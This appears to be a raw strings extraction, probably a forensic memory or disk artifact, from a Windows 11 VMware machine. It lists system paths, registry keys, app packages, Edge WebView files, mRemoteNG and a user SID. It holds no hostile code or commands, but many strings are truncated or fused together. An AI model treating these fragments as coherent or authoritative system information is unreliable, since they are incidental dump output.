\Device\HarddiskVolume3\Windows\System32\AppXDeploymentClient.dll Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe \Device\HarddiskVolume3\Windows\Prefetch\ONEDRIVE.EXE-0E8FA8E9.pf MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\Prefetch\VMTOOLSD.EXE-90328040.pf \Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_8cdc889b3f73e3da \Device\HarddiskVolume3\Windows\Prefetch\TASKHOSTW.EXE-2E5D4B75.pf ISTRY\USER\S-1-5-21-39148898/AppList.targetsize-32_altform-lightunplated.png \Device\HarddiskVolume3\Windows\System32\en-US\Geolocation.dll.mui \Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WindowsBackup MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Windows\System32\DriverStore\FileRepository\prnms012.inf_amd64_03e2453ddab8da67 MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.CrossDevice_cw5n1h2txyewy MSCTF.CtfDeactivated.Default1S-1-5-21-3914889805-4071901059-918772286-1001 \Device\HarddiskVolume3\Windows\System32\en-US\KernelBase.dll.mui MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy C:\WINDOWS\system32\AUDIODG.EXE 0x0000000000000504 0x00000000000004FC \Windows\System32\DriverStore\FileRepository\prnms015.inf_amd64_a7a905c410bbc2b6 MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy SCT Auditing Pending Reports644051db.tmp \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Parameters.evtx MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy \DEVICE\HARDDISKVOLUME3\USERS\JOB\APPDATA\LOCAL\MICROSOFT\ONEDRIVE\ONEDRIVE.EXE MicrosoftWindows.Client.CBS_cw5n1h2txyewy a38978f0-5923-4124-ab4b-9bf2b840513c.dat \REGISTRY\USER\S-1-5-21- Sdch Dictionaries1-b302-4b04ae9766ed.tmpses MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy eeac8ff4-d397-4fc0-ab67-5865cb8e09b2.dat \Windows\System32\DriverStore\FileRepository\prnms014.inf_amd64_bcbcf47254117fae MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy v4.0.30319 .dllunter.dll MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\mRemoteNG.exe MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy ISTRY\MACHINE\SYSTEM\Control fbaf94e759052658216786bfbabcdced1b67a5c2.tbres \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\Explorer \Device\HarddiskVolume3\Windows\System32\Microsoft.Internal.WarpPal.dll \Registry\WC\Siloe8c00ed1-9faf-d816-d6cb-ab5d1d814ad0user_sid\Environment \Device\HarddiskVolume3\Windows\System32\en-US\taskhostw.exe.mui \Device\HarddiskVolume3\Windows\System32\en-US\win32kbase.sys.mui MicrosoftWindows.CrossDevice_cw5n1h2txyewy SharedUtilities.Stub.BackgroundTasks.dll \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\INetCache Input_{3579f1d6-f1be-4184-9d46-37034a765a07} MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\mRemoteNG.exe MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\WINDOWS\System32\en-US\Windows.Storage.dll.mui MicrosoftWindows.Client.CBS_cw5n1h2txyewy asses Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\Windows\Libraries MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\SystemCertificates MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\OnDemandBrokerClient.dll \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\Windows\Recent \Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Users\job\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\LocalCache MicrosoftWindows.Client.CBS_cw5n1h2txyewy Microsoft.StartExperiencesApp_8wekyb3d8bbwe Microsoft.StartExperiencesApp_8wekyb3d8bbwe \Device\HarddiskVolume3\Windows\System32\Windows.Devices.Radios.dll \Device\HarddiskVolume3\Windows\System32\ShellCommonCommonProxyStub.dll \Users\job\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\RoamingState MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Users\job\AppData\Local\Packages\Microsoft.Paint_8wekyb3d8bbwe\LocalCacheCKER \Users\job\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\AppData \Users\job\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\AppDataOCKER \Device\HarddiskVolume3\Windows\System32\AppXDeploymentClient.dll \Users\job\AppData\Local\Packages\Microsoft.Paint_8wekyb3d8bbwe\LocalStateCKER \Device\HarddiskVolume3\Windows\System32\Windows.Perception.Stub.dll \Users\job\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\LocalState MicrosoftWindows.CrossDevice_cw5n1h2txyewy MicrosoftWindows.CrossDevice_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Users\job\AppData\Local\Packages\Microsoft.Paint_8wekyb3d8bbwe\RoamingStateER \Device\HarddiskVolume3\Windows\System32\OneCoreUAPCommonProxyStub.dll MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\drivers\en-US\USBXHCI.SYS.mui MicrosoftWindows.CrossDevice_cw5n1h2txyewy Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe \Device\HarddiskVolume3\Windows\System32\drivers\en-US\USBXHCI.SYS.mui Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe Microsoft.StartExperiencesApp_8wekyb3d8bbwe MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.CrossDevice_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\drivers\en-US\USBXHCI.SYS.mui Microsoft.StartExperiencesApp_8wekyb3d8bbwe UNBD.TTF,Malgun Gothic Bold, S-1-5-21-3914889805-4071901059-918772286-1001 MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\Globalization\Sorting\SortDefault.nls sses MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\srchadmin.dll Microsoft.StartExperiencesApp_8wekyb3d8bbwe Microsoft.StartExperiencesApp_8wekyb3d8bbwe SharedUtilities.Stub.BackgroundTasks.dll Microsoft.StartExperiencesApp_8wekyb3d8bbwe \Device\HarddiskVolume3\Windows\System32\CapabilityAccessHandlers.dll Secure Preferences~RF102d9.TMP8fb1d9.tmp Preferences~RF102d9.TMP-1b67ac99ce6f.tmp MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Program Files\WindowsApps\Clipchamp.Clipchamp_4.3.10120.0_x64__yxz26nhyzhsrt MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Users\job\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility WIN://SCMUserService MicrosoftWindows.Client.CBS_cw5n1h2txyewy \REGISTRY\USER\S-1-5-21- Microsoft-Windows-Crypto-NCrypt%4CertInUse.evtx LOCKER \Device\HarddiskVolume3\Windows\System32\OnDemandBrokerClient.dll \Users\job\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbwe \Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentialsce MicrosoftWindows.Client.CBS_cw5n1h2txyewy ISTRY\MACHINE\SYSTEM\Control 47e48d23-f01b-435a-9a85-836f3625905a.tmpOCKER Microsoft-Windows-Crypto-NCrypt%4KeyMgmt.evtx \REGISTRY\USER\S-1-5-21- Microsoft-Windows-Bits-Client%4Operational.evtx MicrosoftWindows.Client.CBS_cw5n1h2txyewy Microsoft.StartExperiencesApp_8wekyb3d8bbwe \Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings \Program Files\WindowsApps\MSTeams_26015.1706.4351.4392_x64__8wekyb3d8bbweced \Device\HarddiskVolume3\Windows\Globalization\ICU\timezoneTypes.res Microsoft.StartExperiencesApp_8wekyb3d8bbwe 78c091ac6d34daa9d603629dd088840de549030f.tbres MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SCMUserService MicrosoftWindows.Client.CBS_cw5n1h2txyewy Microsoft.StartExperiencesApp_8wekyb3d8bbwe manifest.json testations.dat MicrosoftWindows.Client.CBS_cw5n1h2txyewy 1521f696d8626c8e8127c0284ab987ff1974f39a.tbres \Device\HarddiskVolume3\Windows\Globalization\ICU\windowsZones.res MicrosoftWindows.Client.CBS_cw5n1h2txyewy \ProgramData\Microsoft\Windows Defender Advanced Threat Protection\SenseNDR \Device\HarddiskVolume3\Windows\Globalization\ICU\zoneinfo64.res SkyDrive Mutex {8EAEBBD8-2370-4716-9C12-1C4BA22A988C} - 7728546558234776751 WIN://SCMUserService ISTRY\MACHINE\SYSTEM\Control*copilot_overlay_strings_ca-Es-VALENCIA.pakKER \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\wdag.dll MicrosoftWindows.Client.CBS_cw5n1h2txyewy ISTRY\MACHINE\Software\Micro/AppList.targetsize-32_altform-lightunplated.png \Device\HarddiskVolume3\Windows\System32\Windows.System.Launcher.dll external_extensions.json \Device\HarddiskVolume3\Windows\System32\Windows.Media.Devices.dll MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\Prefetch\TASKHOSTW.EXE-2E5D4B75.pf \Device\HarddiskVolume3\WINDOWS\System32\en-US\KERNELBASE.dll.mui \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Extensions Microsoft.SecHealthUI_8wekyb3d8bbwe.appx Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileCoAuthLib64.dll {a615f85e-5c0d-4cbd-8721-d86f859a4e8b}.cip Microsoft.StartExperiencesApp_8wekyb3d8bbwe MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryPS.dll \Device\HarddiskVolume3\Windows\Globalization\Sorting\SortDefault.nls \Device\HarddiskVolume3\Windows\System32\en-US\windows.storage.dll.mui \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\dxil.dllR \Device\HarddiskVolume3\Windows\System32\stobject.dll MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.CrossDevice_cw5n1h2txyewy \Program Files\WindowsApps\Microsoft.GamingApp_2505.900.9.0_x64__8wekyb3d8bbwe \REGISTRY\USER\S-1-5-21- 197d05e3-0ee2-415c-b7de-8bc7338c2d50.datses Microsoft.StartExperiencesApp_8wekyb3d8bbwe Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Program Files\WindowsApps\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\shdocvw.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryPS.dll Microsoft.StartExperiencesApp_8wekyb3d8bbwe \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryPS.dll MicrosoftWindows.Client.CBS_cw5n1h2txyewy ISTRY\MACHINE\SOFTWARE\Micro MicrosoftWindows.Client.OOBE_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Edge.dat \Device\HarddiskVolume3\Windows\System32\EthernetMediaManager.dll MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\PortableDeviceTypes.dll Microsoft.StartExperiencesApp_8wekyb3d8bbwe MicrosoftWindows.Client.CBS_cw5n1h2txyewy Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe +Microsoft.Webcheck.Dialmon.WINSOCK_ACTIVITY MicrosoftWindows.CrossDevice_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\SecurityHealthService.exe MicrosoftWindows.Client.CBS_cw5n1h2txyewy ys.mui MicrosoftWindows.CrossDevice_cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\libEGL.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\ffmpeg.dll \Users\job\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations Microsoft.StartExperiencesApp_8wekyb3d8bbwe Microsoft.StartExperiencesApp_8wekyb3d8bbwe .Microsoft.Webcheck.Dialmon.SET_CONNECTOID_NAME ,Microsoft.Webcheck.Dialmon.IEXPLORER_EXITING MicrosoftWindows.Client.CBS_cw5n1h2txyewy 5f7b5f1e01b83767.automaticDestinations-ms Microsoft.StartExperiencesApp_8wekyb3d8bbwe MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealthService.exe \Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks Microsoft.StartExperiencesApp_8wekyb3d8bbwe MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\1033CKER \Program Files\WindowsApps\Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe dows\SystemApps\MicrosoftWin Microsoft.BingNews_1.0.2.0_x64__8wekyb3d8bbwe ISTRY\MACHINE\SYSTEM\Control(dev.copilot.identity_helper.exe.manifestOCKER MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge.exe MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryPS.dll \Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Windows\Caches \REGISTRY\USER\S-1-5-21- 1df75f81-fb19-4610-b354-d11683222bc8.datses MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy Microsoft.StartExperiencesApp_8wekyb3d8bbwe MicrosoftWindows.Client.CBS_cw5n1h2txyewy 3f8b4bc191e895a9cf16b386e26b37eabaed73f6.tbres +stable.copilot.identity_helper.exe.manifest Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy Microsoft.StartExperiencesApp_8wekyb3d8bbwe ISTRY\MACHINE\SYSTEM\Control 7c05a674-0c6b-406d-b0e1-82f2bd3223ae.datOCKER 1Windows.UI.Composition.DesktopWindowContentBridge MicrosoftWindows.Client.CBS_cw5n1h2txyewy Microsoft.StartExperiencesApp_8wekyb3d8bbwe Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Installer MicrosoftWindows.Client.CBS_cw5n1h2txyewy 3b278e44f1419f0b07a0417a936be8182ad635d4 -internal.copilot.identity_helper.exe.manifest \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\mspdf.dll \Program Files\WindowsApps\Microsoft.BingNews_1.0.2.0_x64__8wekyb3d8bbwe\Assets Microsoft.Windows.Widgets.Internal.winmd \ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Toolswn MicrosoftWindows.Client.CBS_cw5n1h2txyewy ISTRY\MACHINE\SYSTEM\Control 369a1b77-37b6-400c-8aa7-39cd6f2320be.datOCKER \Users\job\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools istry\Machine\Software\Class 8a388052-b88e-41dc-b638-a3ae3f28bb1e.dat2E99D} \Users\job\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories Windows Media Player Legacy.lnkson ISTRY\MACHINE\SYSTEM\Control 3810ecda-3ff5-4c9b-b100-fbdc4daf00ec.datOCKER C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p 8ae9f0c30ea1668425d0f7d6255d597ead710776.tbres \Users\job\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance \Device\HarddiskVolume3\Windows\System32\AppXDeploymentClient.dll \REGISTRY\USER\S-1-5-21- 5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres MicrosoftWindows.Client.CBS_cw5n1h2txyewy Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe \Device\HarddiskVolume3\Windows\System32\OneCoreCommonProxyStub.dll \REGISTRY\USER\S-1-5-21- 0872af26047692500f0c318077d1cfd61f3a327d[1].xml \Device\HarddiskVolume3\Windows\System32\OneCoreUAPCommonProxyStub.dll \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\mRemoteNG.exe \Device\HarddiskVolume3\Windows\System32\AppXDeploymentClient.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealthAgent.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryPS.dll \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\mRemoteNG.exe Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\mRemoteNG.exe MicrosoftWindows.Client.CBS_cw5n1h2txyewy 95d9a2a97a42f02325559b453ba7f8fe839baa18.tbres \Device\HarddiskVolume3\Windows\System32\drivers\wd\WdNisDrv.sys MicrosoftWindows.Client.CBS_cw5n1h2txyewy ISTRY\MACHINE\SYSTEM\Control d84c4b2f-767c-4258-88dd-d113fd40d87f.datt \Device\HarddiskVolume3\Windows\System32\en-US\KernelBase.dll.mui MicrosoftWindows.CrossDevice_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\drivers\wd\WdNisDrv.sys -windows.applicationmodel.datatransfer.dll.mui Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\mRemoteNG.exe \Device\HarddiskVolume3\Windows\Globalization\Sorting\SortDefault.nls \Device\HarddiskVolume3\Windows\System32\Windows.System.Launcher.dll \Device\HarddiskVolume3\Windows\System32\AppXDeploymentClient.dll e564d42d45fe449e1ac1897e7f3bf4f80e75b60d \Device\HarddiskVolume3\Windows\System32\SecurityHealthSsoUdk.dll \Device\HarddiskVolume3\Windows\Globalization\Sorting\SortDefault.nls \\?\SWD#MIDISRV#MIDIU_DIAG_LOOPBACK_A#{e7cce071-3c03-423f-88d3-f1045d02552b} \Device\HarddiskVolume3\Windows\appcompat\pca\PcaAppLaunchDic.txt \Device\HarddiskVolume3\Windows\System32\wbem\en-US\WmiApSrv.exe.mui 93c06234794f9c0b75a708c93a62624935e69594 MicrosoftWindows.CrossDevice_cw5n1h2txyewy ISTRY\MACHINE\SYSTEM\Control 4e7a3602a6530194fc2a9d803f78656054f42b7e.tbres MicrosoftWindows.Client.CBS_cw5n1h2txyewy MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\mRemoteNG.exe \Device\HarddiskVolume3\Windows\appcompat\pca\PcaAppLaunchDic.txt \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\base.db MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryPS.dll \Device\HarddiskVolume3\Windows\System32\en-US\smartscreen.exe.mui *Microsoft.Data.UsageAndQualityInsights.dll \Device\HarddiskVolume3\Windows\SysWOW64\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exeMicrosoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewyApp \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\index.txt \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index |\DEVICE\HARDDISKVOLUME3\PROGRAM FILES (X86)\WINDOWS DEFENDER\ data_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GraphiteDawnCache\data_3 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GraphiteDawnCache\data_3 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1 VS_VERSION_INFO data_3 data_2 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\ActivationStore.dat :\WINDOWS \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_4_PNGEncoded_Data.bin \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_4_PNGEncoded_Data.bin \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_4_PNGEncoded_Data.bin les/Assets/Logo.png} data_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GraphiteDawnCache\data_1 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\AdSelectionAttestationsPreloaded\manifest.json a\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Local Storage\leveldb\CURRENT~RFe0ca.TMP QuotaManager settings.dat.LOG2 \Registry\Machine\System\CurrentControlSet\Control\Video\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0007 index prnms009.Inf \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Shared Dictionary\db \Registry\Machine\System\CurrentControlSet\Control\Video\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0004 63}\0005 \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\StartMenu\AdaptiveCards.Rendering.Uwp.dll::$ATTRIBUTE_LIST eldb CURRENT \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Local Storage leveldb\CURRENT \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Shared Dictionary\cache\index Temp \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Trust Tokens-journal \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1 Service-0x0-3e7$\Default \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\SCT Auditing Pending Reports 44051db.tmp Store.dat stem\CurrentControlSet\Control\Video\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0000 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy\machine.pckgdep dat.LOG1 data_3 \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\resources.pri \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\resources.pri \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2401.20253.0_neutral_split.scale-100_8wekyb3d8bbwe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe\resources.pri:WofCompressedData \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat arch\snapshot.baf \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\identity_proxy\beta.identity_helper.exe.manifest \Device\HarddiskVolume3\Windows\System32\en-US\sppc.dll.mui WidgetService.exe popkeycli.dll WebCacheV01.jfm qmgr.dll.mui qmgr.dll \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.WidgetDataModel.AppXtssqmbez7x7hn3895zxg2qj5wn26dpvv.wwa V01.log V01.chk \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Safe Browsing Network\Safe Browsing Cookies tore.dat.LOG2 machine.pckgdep CORPerfMonExt.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Shared Dictionary\db-journal Service-0x0-3e7$\Default \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\wbem\WinMgmtR.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\ScriptCache\index 